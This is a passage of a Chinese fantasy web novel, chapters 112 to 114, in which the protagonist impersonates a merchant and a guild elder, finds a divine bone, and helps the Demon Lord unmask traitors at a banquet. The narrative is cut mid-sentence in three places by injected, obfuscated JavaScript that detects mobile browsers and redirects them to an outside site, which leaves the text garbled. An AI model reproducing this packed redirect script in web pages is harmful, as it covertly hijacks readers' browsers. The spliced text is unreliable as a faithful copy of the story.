打着哈欠扫地的魔仆“噗通”一声跪了下去:“副城主啊,府内的清洁阵法坏了没人修,不关奴什么事啊!” 乌桑挠了挠浸染着毒气的脸,疑惑道:“轻烟呢,她怎么不修?” 魔仆:“轻烟大人这些日子忙着给魔尊准备寿礼,不让奴们过去打搅。” 乌桑:“少主呢?” 姜洛玉那厮不是最爱干净么? 魔仆:“少主这些日子一直待在房里。” 乌桑:“格伦日呢?” 魔仆:“格伦日大人……奴这些天好像没见过大人的影子。” 乌桑意识到一丝不对,当即跑向姜洛玉所在的房间。 “哐镗——” 门被一脚踹开,里面没有看话本的青年,只有一个躺在床上不省人事的格伦日。 红色的洗脑术环绕在格伦日全身,乌桑顿时僵在原地。 “蠢货,神土呢?!” 格伦日被暴力唤醒后有些反应不过来,记起昏迷前的一面如死灰:“神土、神土恢复记忆了……” 乌桑差点没背过气,怒吼道:“几天之前的事?!” 格伦日:“四天……” “废物!” 对面人扭曲的面孔越来越大,格伦日一狠心震碎了魔核。 比起之后未知的残酷处罚,他更愿意自行了断。 乌桑满脸晦气地扔下尸体,顾不得身上还有伤,又踹开了轻烟的房门。 “狗畜生,进来之前不会敲门——” “神土丢了!” …… “没有行商令牌,我不能放货进去。” 魔都城门口,商队众人对着守门的魔卫,脸上全都愁云惨淡。 行商令牌代表着经商许可,没有令牌却烙印着商会印记的货说明是黑货,是不能进城的。 此前令牌一直放在冷锋手里,但前几天冷锋不知道抽了什么风把东西给了北戈这个副队长看管。 结果他们刚一落地魔都门口,北戈就发出震天哀嚎——令牌在飞行的时候甩丢了。 姜洛玉把无形按回怀里,对着商队众人安抚道:“我先去找商会的人过来解决,你们在城外等着。” 北戈面红耳赤,只得应了一声“是”,带着众人离开队伍等姜洛玉带人过来。 刚发现令牌丢了的时候他恨不得以死谢罪。这东西每个商队独有,补办的话要废上好大一番功夫! 多亏了队长愿意进去补办,不然以他地魔中期的修为过去,指不定要受到多少刁难。 这边姜洛玉面不改色地缴纳了魔晶,跨过十几丈的高耸城门,这才进了魔都。 魔都的奢靡从城墙上就能初见端倪。 其他魔城基本上都是灰扑扑的墙壁,而魔都上却镶嵌了无数半透萤石,这些石头脑袋大小就要卖上一千极品魔晶。 如今正是夕阳西下,上面的萤石流转着和灰暗天色截然不同的洁白光晕,就像是城墙的眼睛。 姜洛玉进入城内下意识垂下眼。这些日子赶路,也算是彻底领会了一把魔界的风土人情。 信仰魔神、顺从本能、嗜血好杀、崇尚暴力…… 民风粗犷倒是不必说,魔族对下界飞升的魔修嗤之以鼻更不必说,光是随时随地脱衣服这一点,的确是各个城池的风俗。 好在似乎魔都的规矩不太一样,走了两条街姜洛玉都没撞见大庭广众下干柴烈火的男男女女。 把手放进袖子里摸了摸巴掌大的行商令牌,踹了一脚凑上来想吃他肉的魔犬。 魔都商会位于正中央的魔宫附近。 按照冷锋的记忆,补办令牌需要去找商队的直属长老。 朔风商队隶属于五长老阿吉多,一个修为在天魔七转的纯血魔族。 魔界按照血统划分一共分为三种,先天纯血、后天纯血和混血。 先天纯血诞生自魔界东部的无尽血海,又经过地底血河彻底降生在十八城池,后天纯血就是下界飞升上来的魔修。 至于混血……指的是魔族和魔兽的混血,在魔界这种混血一般资质奇差,就算修炼进境的速度也是他人的十倍不止。 冷锋就是混血。 姜洛玉淡定接受了商会门口守卫的检查。魔族没有三魂七魄,认人靠的是魔核。 他埋冷锋的时候顺手把魔核也掏了出来,和他自己的元婴还有魔核放在一起保持活性,眼下正在二者夹击下瑟瑟发抖。 “咪——” 无形探出一个脑袋,对着刚要开口的守卫叫了一声。 守卫不知怎得一阵恍惚,突然有些不好意思为难面前这个混血魔族,痛快地侧身放行。 “长耳兽有什么好养的……”等人走后,守卫嘀咕着,“又不是多金贵的东西,果真是杂种。” 魔都寸土寸金,商会虽然财大气粗,但并未占据太多土地,而是另辟蹊径在其内设置了多重空间阵法,八大长老的地盘藏匿其中。 姜洛玉顶着一张冷漠硬汉脸踩来踩去,眼前豁然开朗。 和城主府类似的大门口,上面的匾额写了个大大的“五”,生怕别人看不见。 门口摆着两个兽形傀儡,姜洛玉并未多看,直接踏了进去。 “冷锋!货在哪,你怎么自己回来了?” 年轻的男声从身后响起,姜洛玉转身对着红发绿眼的男魔道:“回管事,出了点岔子。行商令牌丢了,我正要去找长老补办。” 邱柯蹙眉:“怎么会出现这种疏忽?长老最近心情不佳,你去的时候小心些。” 姜洛玉:“是。” “记得把我的东西放在老地方。”邱柯猛地上前拍了拍姜洛玉的肩膀,而后眉头舒展,“去吧。” 姜洛玉神色不变,维持着人设“嗯”了一声,离开了幽篁的竹林。 丹田里支愣没几秒的外来魔核重新被元婴拿着变成小剑揍得奄奄一息,完全没有邱柯探查时的精神头。 五长老的起居庭院位于一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308485|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片血色花树后的木屋里。 魔界土生土长的魔植颜色暗沉且生长速度缓慢,如今绝大多数魔植都是商会从仙界买回来的仙植改造嫁接的。 姜洛玉揪了一颗食人花的果实塞给小猫咪,直接推开了木门。 “谁?!”足有四十岁的发福男人喝道,拍桌瞬间飞来数道凝实的魔气。 魔气被来人轻松化解。 阿吉多错愕道:“冷锋?!” 不对,那个杂种怎么会有魔君修为? 受封的魔君虽然只有三十六位,但也不是说其他修为到了魔君也不能被称为魔君。 阿吉多暗道不妙,当机立断决定向左护法求救,拿出玉牌—— 姜洛玉抛了抛手里的玉牌,眉眼逐渐扭曲回了原本的样子,掐着五长老的脖子笑了笑:“自然是杀你的人。” 三分钟后。 炮制了五长老的尸体塞进芥子,又吸收了魔核五分之一的能量,抗议的胃部稍许和缓。 姜洛玉无意间对上屋内的镜子,扔下尸体“嘶”了一声,上前仔细看了两眼。 脸还是那张脸,依旧唇红齿白,眼睛黑漆漆的看不见什么光,就是莫名透着股邪气。 果真是魔界待久了,越看越像个变态。 揉了一把猫头,姜洛玉哼着小调又取出了冷锋的尸体。 以冷锋的身份根本混不到宝库附近,所以……他打算金蝉脱壳成为“五长老”。 到时候不仅互市令牌手到擒来,还能实现自助餐的大计。 刚才窥探到的记忆里,商会长老每五百年能在宝库里任选一件宝贝,不限品类。恰好五长老因为要进阶迟迟没能选定要取的东西,拖了一年,现在倒是便宜了他。 详细计划暂且不提,姜洛玉取出冷锋奄奄一息的魔核,刻画上血咒又推进早就凉透了的身体。 如果说魔核是魂魄,那么只有魔核没有识海的躯壳就是个会动的傻子。 新鲜出炉的五长老拍了一把“冷锋”的肩膀:“去吧,去戒律阁领罚。” 然后……永远别再回来。 “记得先把东西放在老地方。”姜洛玉坐在书案前继续对傀儡下达了最后的指令。 “冷锋”转身行了个礼,动作流畅地出了门。 擦肩而过,邱柯正疑惑着冷锋为何不搭理自己,就被五长老浑厚的嗓音吸引了注意。 “进来。” 邱柯行礼:“长老,不知有何要事?” 姜洛玉正襟危坐,道:“去接外面的朔风商队进来。” 邱柯:“……?” 他小心翼翼接过五长老的令牌,欲言又止。 姜洛玉:“我明天去宝库,回来后会闭关。这些日子你代我管理货物的流转,给魔尊准备的贺礼千万出问题。” 邱柯“是”了一声,面上不显,心里白眼都快翻上天了,这老不死的什么时候管过这些杂事。 “滚吧。” 归于平静,姜洛玉开始百般无赖地在芥子里翻找进入宝库的钥匙,顺带揍几下不甘被禁锢的魔核。 他不准备把五长老彻底弄死。商会会长也就是左护法手里有八大长老的本命灯,真死了麻烦的倒是他自己。 翻着翻着,姜洛玉注意到了芥子里非同寻常的东西。 一截闪着闪闪发光的金色……骨头。 112.穿越第一百一十二天 骨头? 五长老为人吝啬且势利,芥子里从来不放没用的东西。 于是姜洛玉翻了半天,终于找到了骨头的来历。六百年前,魔都附近开了一处上古秘境,那地方魔兽肆虐几乎寸草不生,宝贝都待在对应的祭台上。 五长老拿了宝贝,见祭台中央镶嵌着这东西,顺手一道刨了出来。后来见这东西实在没什么特殊的,就随手塞在了芥子。 金色的骨头只有巴掌大,根据弧度来看大概是肋骨,表面光滑异常没有丝毫孔洞。 “咕噜……” 丹田里的神界雏形又开始彰显存在感,姜洛玉挑挑拣拣,把芥子里的天材地宝都喂了进去,腹鸣依旧。 无形跳上桌面,用鼻子拱了拱上面的骨头,“咪咪”叫了两声。 因为主宠契约的存在,姜洛玉能感受到无形对这块骨头的兴趣。 “你想做什么?”姜洛玉拿起肋骨刚想逗猫,结果肋骨瞬间消失,腹鸣也停了下来。 姜洛玉:“……?” 无形有些可惜地舔了舔肋骨放过的地方。 “吐出来,不许吃垃圾。” 神界雏形装死。 姜洛玉黑着脸把手放在丹田上,威胁道:“信不信我把你掏出来。” 继续装死。 “三、二……” 放在丹田处的手指越陷越深,神界雏形察觉到姜洛玉真有这个心思,抖了两下,乖乖吐出还没消化的肋骨。 拿着肋骨仔仔细细检查了一遍,甚至切换成了仙道,姜洛玉依旧没看出来什么东西。 但神界雏形的举动告诉他——这肋骨绝对不一般。 “这到底是什么东西,吃了会不会死?”姜洛玉微笑着抚摸小腹,“我知道你开灵智了。” 神界雏形上的河流凝结一瞬,暴露出明显的震惊。紧接着神界雏形控制着茶水在桌子上留下歪歪扭扭的字迹——“神骨、不会”。 姜洛玉:“……” 一路上他早就注意到神界雏形变得不太一样,观察半天才发现这东西似乎诞生了属于自己的意识,本来还想找个机会诈一下的,没想到为了块儿骨头就把自己暴露了。 也不知道白川炼化自己的时候到底加了些什么东西,弄得神界雏形这么……笨。 姜洛玉:“什么神的骨头?” 字迹开始变幻——“魔神。” 丹田里,没再听见发问的神界雏形松了一口气,刚准备继续装死,就看见一双大手朝着自己袭来。 “啊啊啊啊——” 这一声叫喊中气十足,可惜只有姜洛玉能听见神界雏形和破锣没什么区别的声音。 “闭嘴。”姜洛玉脸色有些白,捧着巴掌大的雏形,“我不管你是变异还是什么,现在你只能依靠我活着。” “之后要是敢再不听我的话,我随时随地捏死你。” 神界雏形连忙上下晃了晃,似乎在发誓,又递出来一点白光。 姜洛玉没接:“什么东西?” “本善。” 茶水的字迹再度变幻。 姜洛玉蹙眉接过,刹那间白色光点融进了身体,对幕后之人彻骨的恨意竟然有松动迹象。 仿佛有一个声音在告诉他,要对世上的一切都抱有善意,即使对方杀你、炼化你、让你和亲朋好友、挚爱道侣生离三百年,你也应该…… “放的什么狗屁!” 震天喊声从五长老特意搭建的木屋内传出,惊起花树上栖息的鸟群。 院外正准备汇报货物状况的邱柯生生转了个弯,又离开了长老居。 姜洛玉掐着神界雏形,半天说不出一个字。他能十分清晰的感受到,神界雏形把“本善”交给自己后,他彻底成了神界雏形的“主人”,二者不再是相生相辅的关系。 可刚才的念头太恶心,恶心到他根本不想继续要…… “重建、神界,天——” 茶水的字迹骤然干涸,姜洛玉瞳孔一缩,对上了屋外的惊雷。 “吃吧。”他把金色的肋骨塞给神界雏形,又一股脑塞回丹田。 屋外雷声依旧,开始下起了大雨。 “哐镗”一声,木窗被风雨吹开,飘进来一地落花。青白的闪电划过天空,也划过屋内青年染上几分妖异的脸。 无形甩了甩长出来的第三条尾巴,蹭了蹭青年的手背。 “我得快些回去,不然……” 雷声盖住了剩下的声音。 三月二十八,魔尊寿宴当天。 邱柯一大早就把贺礼从五长老的私库取了出来,此时正恭敬放到了左护法的属下手里。 “五长老是否参加寿宴?”头生双角的男人像是一道影子。 邱柯:“这个……” “自然,魔尊寿宴小人岂有不去的道理?” 腆着肚子的五长老不知道从什么地方钻了出来,对着男人浅浅行礼。 男人修为在魔君两转,是左护法的得力下属,专门负责跑腿,闻言转身去了六长老的地盘。 姜洛玉瞥了邱柯一眼:“愣着做什么,还不快去接货?” 邱柯咬着后槽牙“是”了一声,盘算着自己或许应该答应四长老递过来的高枝儿。 五长老这儿他一天也呆不下去了。 姜洛玉注视着邱柯远去的背影,按了按从宝库新得来的遮掩气息的法宝。 昨天去商会的宝库转了一圈,他本来打算吞完天材地宝直接用宝库里的魔器溜走,找个没人的地方换个壳子。不曾想……神界雏形马后炮一般表示它正在炼化“神骨”拒绝进食。 期待许久的大餐变成了镜花水月一场空。 他差点没把神界雏形拿出来暴打一顿。早知如此,根本不用在魔都多留一天。 最后念头打消还是因为现在揍神界雏形和揍自己没什么区别,而且……这一气倒是让他想起来不得了的东西。 魔尊墨危楼,欠离昼一个人情。 这人情可以追溯到神界消亡之前。当年墨危楼还不是魔尊的时候,获得了进入三清秘境的名额,在阴阳境里遇到了离昼。 恰逢离昼繁衍期,看墨危楼还算顺眼,两人便一拍即合在一起胡闹了数月。 后来离昼将人送回魔界,临走时收下龙角交给墨危楼足够杀死三十六魔君的毒药,甩甩尾巴回了秘境休眠。 再之后一觉睡醒,离昼出现在了魔界,被当上魔尊的墨危楼困在魔宫里。 墨危楼想求一个结果,可离昼早就在入道的时候把情丝抵给了天道,两人之间不可能有结果。于是离昼恢复些神力,便趁着月黑风高掏心挖……没挖肺。 离昼偷走了墨危楼的魔心,抽走了对方关于自己的执念,顺利回了神界。 而墨危楼为了保命,不得不选择沉眠修复心脏的损伤。 这一睡睡过了第二次仙魔大战,天道清算因果的时候虽然记了墨危楼一笔,但由于他并非始作俑者也没参战,只是象征性的抽走了些墨危楼体内的魔核之力。 离昼在下界提及此事时还有些感慨,除了掏心其实还有其它办法,倒是阴差阳错让墨危楼躲过了灭顶之灾。 而且在那之后对方的执念又长了出来,离昼嫌烦直接下了个单向禁术,让墨危楼再也不能联系他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315194|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “走,带你去吃高级货。”姜洛玉拍了拍丹田。 他有预感,魔尊大概会知道自己的存在。而且想必魔宫宝库里的东西,会比商会的要好得多。 魔宫。 左护法攸萧拿着商会的贺礼敲响了魔尊书房的门。 比起魔宫外界布局的阴森,书房倒是显得过于……正常了,正常得就差冒出仙气。 攸萧不自觉看了两眼挂在墙上的空白画卷,恭敬跪了下去:“尊上,这是商会众长老的贺礼。” 站在书案前的是个高大俊朗的男人,可能是因为脸部线条过于硬朗,看起来有些不近人情。上位者不经意流露出来的压力给到地面跪着的人,让和长得和文弱书生没有区别的攸萧额角流下一滴冷汗。 墨危楼收敛了身上的威压:“让你找的人有消息了吗?” 攸萧:“回尊上,还……还没有。” 墨危楼:“三百年了,什么消息都没有,看来商会这些年过于散漫了。” 攸萧咽了咽口水,险些没骂出声。 魔都商会遍布整个魔界,找别的东西还好,可墨危楼让他找的居然是块儿姜! 魔界哪门子来的生姜?可惜他不敢多问。 虽然后来能看见留影石里的生姜化形的人样,但墨危楼又指定了不可声张,他只好整个魔界到处跑给那些商队的队长下禁术。 整整三百年毫无进展,魔界似乎压根没有这个人。 能有才怪。 “是属下无能!”攸萧“咚”一下磕在地面,“请尊上再给我一些时间。” 墨危楼轻咳一声,道:“下去吧,宴会前再过来。” 攸萧这才退了下去。 门关刹那,墙上的空白画卷微微晃了晃。墨危楼放下奏折,起身点了点上面空白的部位,下意识向紧闭的窗户瞟了一眼。 一副美人出浴图逐渐浮现在上面,就是这美人后面长着九个黑白的蛇头,下半身的蛇尾浸泡在散发着热气的泉水里,眼神冷漠地像埋了一层雪。 “我在你眼里便是这副模样?” 熟悉至极的男声从窗口响起,墨危楼转过头对上靠在窗框上的人恍惚一瞬,没有丝毫意外:“很像。” 姜洛玉浑身一僵,有些挫败地变回了本相,跳进书房大言不惭道:“尊上慧眼识珠。” 他倒是没想过功法能瞒过墨危楼,变成离昼的模样也只是以防万一对方神识照面就要拍死自己。 果不其然,对方的神识扫过自己也没动手,还放任他在外面偷听。 墨危楼:“……坐。” 姜洛玉找了个待客的位置坐下,十分自然地喂了神界雏形一套冒着浓郁魔气的棋子:“尊上没什么想问的吗?比如我和……” 他指了指自己再度变成离昼的脸。 “我们两个有什么关系?” 墨危楼:“我要找的人就是你。” 姜洛玉呼吸一滞,心跳得有些快:“是离昼叔让你找我的吧。他都和你说些什么了?全部?” 墨危楼:“大半。” 这个大半很微妙,姜洛玉思索片刻:“尊上有没有兴趣做个交易?” 墨危楼低着头,开始摆弄离昼交给他的传讯工具,神色不变:“你先说说这些年都在哪儿,阿离很担心你。” 语气听起来和疼爱晚辈的长辈没什么区别,特别是那声“阿离”柔情似水,听得姜洛玉一阵牙酸。 姜洛玉:“还是先说交易吧。我现在很饿,想要一半儿宝库。” 墨危楼:“……?” “作为交换,我可以告诉到底是谁在暗处准备推翻你。” 113.穿越第一百一十三天 墨危楼终于变了神色。 近些年三十六魔君暗中异动他不是不知,可惜心脏上的旧伤复发,不得不睁一只眼闭一只眼,暗中培养接替三十六魔君的才俊。 最关键的是,他找不到带头的人,又不能确定那人究竟策反了多少魔君,轻举妄动只会消耗自身实力。 看向青年格外认真的脸,他放下手里的传讯器,问道:“你知道多少?” 姜洛玉:“除了罪魁祸首,其他的一概不知。” 墨危楼:“……” 姜洛玉微微一笑,揍晕五长老蠢蠢欲动的魔核,补充道:“不过我有办法可以在今晚的寿宴上,帮尊上揪出背叛的城池。” “来得急了些,也没带什么东西,就当是送尊上的贺礼了。” 寻常窃取记忆的法术都需要当事人神志不清,强行截取也不是不行,就是对方脑袋里有什么禁术容易打草惊蛇。 他的功法就不一样了,先不说修为,只要能建立起联系,就是仙帝的记忆他也照看不误。 墨危楼毫不犹豫:“成交,这是宝库的钥匙。” 姜洛玉接过沉甸甸的铜钥匙,意味深长道:“说句不好听的,我现在空手套白狼,您就这么信我?” 墨危楼:“我虽不知你真实身份,但阿离说你是他养大的孩子,便同本尊亲子无异。” 姜洛玉:“……” 什么终极恋爱脑。 墨危楼眨了眨眼睛,烛火摇曳间暗红的眸子闪烁着晦涩的光:“三百零七年前,阿离找上我,我才知道他没死。” 听见“死”字,姜洛玉瞳孔一颤,脑中浮现出一双含着泪的眼睛。 “十万年过去,其他东西早就不重要了。”墨危楼的声音带上了几分感慨,“只要他活着,我就能再度安眠。” 姜洛玉捂住心口,觉得有一把无形的箭插了进去。 下定决心作死前丛明雪熟睡的面容历历在目,也不知道……对方这三百年里睡没睡过一个安稳觉。 墨危楼自顾自感慨完,继续道:“他让我留意一株可能出现在魔界的生姜,又或是人。” “如今你自己找上门,也算是给了阿离一个交待。等此间事了,我便替你遮掩魔气,送你回仙界找他。” 姜洛玉:“离昼叔现在在哪儿?” “春花境,其他的我也不知。”墨危楼把玩玉件的手紧了紧,“你这几百年都待在何处?” 直觉告诉他,姜洛玉待的地方和那“罪魁祸首”脱不了关系。 姜洛玉:“伴月城。城主白川,我怀疑……他是‘神界’余孽。” “神界”两个字没有发声,只是两下模糊不清的口型。 墨危楼紧锁的眉头皱得更加用力:“既然如此,你又是怎么逃出来的?” 他记得白川修为在魔君八转,是一万五千年前接任伴月城的魔君。这下又和“神界”扯上了关系,绝非姜洛玉一个魔君六转的修士能对付的。 “咪——”无形从姜洛玉胸口前的位置探出脑袋,对着墨危楼小声叫了一下。 墨危楼眯了眯眼:“九尾避厄兽。” “尊上好眼力。”姜洛玉撸了把猫头,又晃了晃手里的钥匙,“我先去宝库,有什么事等我出来再……” “先给阿离报个平安。” 手掌大小的东西被男人扔了过来。 姜洛玉接住后愣在座位上,满脑袋问号——手机? 长得类似老款智能机,上面还有几个零星的按键,标注着功能。 见姜洛玉表情震惊,墨危楼解释了一嘴:“这是阿离派人送过来的,里面留了我们两人的神魂和神识,能够实现两界通话。” “这东西比起其他要燃烧神魂的法宝代价要小得多,一缕神魂能用上好久。” 姜洛玉“嗯”了一声,手指在“文字传讯”和“水镜通讯”上晃了两下,果断从神界雏形舍不得消化的“小金库”里抽几株极品补魂草,送到了墨危楼面前。 闪着淡淡蓝光的灵植散发着令人心神舒畅的气息,墨危楼有些意外。这种十几万年品质的补魂草只长在仙界最险恶的秘境,连他手里的都即将告竭。 墨危楼有些诧异:“你不是没带什么东西?” 姜洛玉:“借花献佛罢了。您若是有其他需要,我可以再找找看。” “花”当然是白川,他现在可是十分期待白川出关后的表情。 “不必。宝库里的东西你想拿多少就拿多少。”墨危楼收下了补魂草,没多问。 离昼告诉他,有时候知道太多反而死得快。 姜洛玉点了点头,揣着传讯器准备溜去刚才就踩好点的宝库。 墨危楼又扔过去一道通行令牌:“戌时前务必回来。” 戌时一刻。 只有淡淡微光的地下室猛地亮起,一张似鬼非人的脸暴露在了光源下。 白川顶着还未完全填满血肉的脸,无视跪在地面的一男一女。缓缓走到沙盘前,一下又一下地拔走了上面的红旗。 冷汗顺着额头一直滑到了脖颈,乌桑轻轻吞了下口水,在一片寂静里格外明显。 轻烟动也不敢乱动,眼睁睁看着汗从下巴滴落,打在一尘不染的石板上。 “怎么一动不动的,”白川摸了摸凹凸不平的眼眶,“不就是神土丢了么,有什么大不了?” 这句话,他们在七天前已经听过了。 彼时白川肉身之重塑了一半儿,他们正要出门追姜洛玉,就被一具冒黑气的骨头架子拦住了去路。 骨头架子问“怎么了”,两人瞒不过白川如实相告,那时白川的回答和现在一样。 白川放走了神土。 但跪着的两人还是想起曾经办砸事受到的刑罚,惊惧交加下抖若筛糠,可他们连死都做不到。 他们的魔核早就被打上了奴隶印,生死全都掌握在白川的一念之间。 白川摆弄着沙盘上仅剩的八杆黑旗:“轻烟,贺礼送出去了吗?” “回大人……已经派傀儡送去了。”轻烟趁机擦了擦头顶的汗。 白川:“都起来吧,是时候回去了。” 回去? 乌桑猛地抬头:“大人您这是何意?魔界谋划尚未成功,难不成也要成为……弃子?” 轻烟:“可是大人,修真界已然失守,我们就算回了仙界……” 以本体暴虐的性子,怕是也活不成。 不过剩下的话她不敢说,只好咽回了肚子。 白川揉了揉眉心,似笑非笑:“轻烟,我本以为你比乌桑机灵些,怎么也变得如此蠢笨?” 轻烟不敢回话,只是将脑袋低了又低。 “当初我就说了,修真界不重要,魔界也不重要。” 白川推倒了剩下的旗帜:“这穷乡僻壤的地方满打满算就五块儿神骨,神界雏形只吸收这些根本不能进阶。” “本体无法靠近仙界的神骨,你们去更是做梦。” “不然你们以为……他凭什么跑得那么顺利?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324330|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就连那九尾避厄兽,也是本体快翻遍半个仙界才找到的。 地面两人同时倒吸一口凉气,震惊地无以复加。 “我来魔界只是为了找乐子,仙界太无聊了。”黑发紫眼的男人语气飘忽如同自言自语,“可惜神土逃出去一定会去找墨危楼做交易,再待下去没有任何意义。” “不过走之前要是能拉上墨危楼那个杂种垫背……也是他的福气。” 戌时三刻。 伴随着一声击鼓,整个魔宫瞬间灯火通明,管弦乐声交错,魔神殿热闹得不得了。 殿内两侧各摆了九张席面,分别坐着十八城池的城主。 墨危楼坐在宝座上,听着下面的人逐一献上贺礼中最珍贵的东西。 从十万年的天河琼浆,到十五万年的玉髓凤露,再到三千年才能成熟一颗的九转赤阳桃…… “有心了。”墨危楼半靠在椅背上,深邃的红眸扫过回到各自座位上的人,视线在最后方伴月城的位置上多停了一下。 “本尊感念诸位城主多年操持,特意为准备了好酒。” 最后两字一落,丝滑乐声也出现了一瞬滞涩。 “黛青。” 姜洛玉顶着右护法寡淡的脸,抱着酒坛欠了欠身:“臣在。” 墨危楼:“去给诸位城主倒酒。” “哗啦哗啦”的酒液倒进半透的爵杯,澄明的液体旋转着倒映出大殿上方的照明法器。 无形的辛辣气息渗透近对面眉生多目的男人后颈,姜洛玉倒酒的手微不可察地顿了顿。 极乐城城主,无异常。 紧接着,他再度走向双星城的城主身边如法炮制。 黑绸蒙眼的女人动了动,端起酒杯说了句古老的祝福语,朝着墨危楼的方向敬了敬。 双星城城主,无异常。 厚土城城主,识海里有一小片封锁的紫红色记忆,接下来的雨落城城主无异样,血河城城主,识海里也有被封锁的记忆…… 一连试了十七个,走到最后伴月城的位置,姜洛玉神色如常地给“乌桑”倒了酒。 傀儡十分自然地举起酒杯说了感谢的话,然后一饮而尽。 回到墨危楼身侧,姜洛玉如实告知了叛变其他九个城池,又说:“至于伴月城来的那个傀儡……我猜他是鸿门宴里摔杯为号里的杯具。” 墨危楼听不太懂,淡定回道:“殿内蛰伏了十八死士,修为全都在魔君八转,这些人不足为惧。” 姜洛玉“嘶”了一声:“还是宴中宴。” 墨危楼:“……” 姜洛玉有些好奇:“尊上,那杀了他们之后呢?我能确定这些人手里的城池也跟着造反了。” 墨危楼:“杀。” “生出异心的魔族永远无法归顺,无尽血海已经休养生息很多年了。” 姜洛玉不置可否,退到墨危楼身后变得像是一道影子。 “饿……饿……” 神界雏形幼童咿呀学语般的声音响起,姜洛玉倍感意外,眼皮跳了跳:“你不是说吃饱了要休眠吗?昨天半个宝库和三块儿魔神遗骨这么快就炼化了?” 神界雏形哼唧两声:“好香……” 姜洛玉:“哪儿香?” 神界雏形:“地底。” 姜洛玉下意识看向脚下。 “砰——” 殿门口,傀儡摔碎了手里的爵杯:“你一个从魔兽肚子里爬出来的杂种,怎么有脸坐在魔尊的位子上?!” 114.穿越底一百一十四天 那声“杂种”极其高亢刺耳,似乎恨不得整个魔界的都能听见。 霎时间,叛变的十个城主全都掀桌而起露出魔核本相,大殿上魔气四溢。 为首的傀儡手持血海冥河刀狂笑三声,率先朝着墨危楼所在的高台冲去。 “幽冥狂斩——” 血海虚影掀起滔天巨浪,眼看着就要将宝座上的男人淹没! “自取灭亡。” 墨危楼倚着扶手轻轻一弹,蕴含着浓郁魔气的水珠朝着傀儡飞去。 “砰。” 水珠炸成了一朵黑色的花,又变成了浑厚的雾气,笼罩住了台下叛变众魔。 是领域。 仅剩的八张席面后,坐着神色各异的城主。 姜洛玉站在宝座后面的空间咳了咳,加固着身边的刚用魔器展开的结界。 为了能够成功窥探到所有城主的记忆,他在宴会之前服下了能短暂提升自身境界的秘药,能维持三个时辰的魔君九转修为,代价是药效过去后的五天里会丧失战斗力。 他悄悄瞥了眼墨危楼。之前还真没听说过魔尊居然是混血,想必不是墨危楼瞒得太好,就是知道真相的人全死了。 “领域会在半刻钟后消失。”墨危楼看着大殿中央的雾气意有所指,“本尊从来不缺下属。” 双星城城主闻言,暴露在外的眉毛抖了抖,瞬间走到御道上,对着墨危楼所在的方向行了跪拜礼。 “此等异心之徒,千刀万剐难解心头之恨。属下愿为尊上分忧,赴汤蹈火在所不辞!” 话音一落,另外七人也打蛇随棍上般出列跪了下去:“愿为尊上分忧!” 姜洛玉险些笑出声。 刚才这八个没动,完全是因为不确定墨危楼到底有没有能力应对这场“逼宫”,所以在观察。没想到这场战斗“毫无悬念”,这才马后炮地站了队。 恐怕除了自己,谁都不知道墨危楼早就养了十八死士,准备随时取代不听话的下属。 墨危楼毫不在意发着毒誓的人到底有几分真心,指了指黑雾的方向:“既然如此,你们也进去吧。” 伴随几声惊呼,大殿只剩下还在吹奏着欢曲的傀儡乐师,满地杯盘狼藉。 藏在暗处的十八死士现出身形,开始任劳任怨地打扫战场。 墨危楼斜了一眼身侧,半眯的眼睛瞬间睁大:“你这是……” 不知何时恢复本相的青年眼球充血,微微向外凸起,有些像鱼眼,破坏了那张脸上的美感。 姜洛玉瞪着眼,咬牙凿了一拳丹田的位置:“我没事,可能是秘药的后遗症。” 墨危楼不太信。 “饿……饿……” 神界雏形的喃喃细语萦绕在耳畔、识海,最后就连闭上眼能看见的一片漆黑里具象化的弹幕。 姜洛玉甩了甩脑袋,无数“饿”字来回滚动、放大缩小,他只得再度睁眼。 食物的香气近在咫尺。是进入姜家后喝下的第一碗热汤,是化形后降落在身上的第一场甘霖,是…… “饿的话,就去吃吧。” 姜洛玉:“闭嘴,饿一会儿怎么了?现在不是闹的时候!” 神界雏形:“……?” “虽然我很饿,可是我没说话啊。” 没说话? 姜洛玉盯着大殿中央的黑雾,后退几步靠着屏风缓缓蹲下。 极致的饥饿侵占了他的大脑,几乎身体的每一个细胞都在叫嚣着“饥饿”。 饿的不只是神界雏形……还有他自己。 他能感受到黑雾下方、大殿正中央的地底,埋着能填饱他肚子的东西。 墨危楼见青年脸色愈发难看,蹙眉道:“真没事?” 姜洛玉摇头,接着问神界雏形:“你说地底很香……具体在哪儿,是什么东西?” 神界雏形:“大殿正中央!地下三丈左右的位置,是魔界最后一块儿神骨!” 果然如此。 和本能抗争流下的汗水滴落到地面,姜洛玉二话不说冲向黑雾! 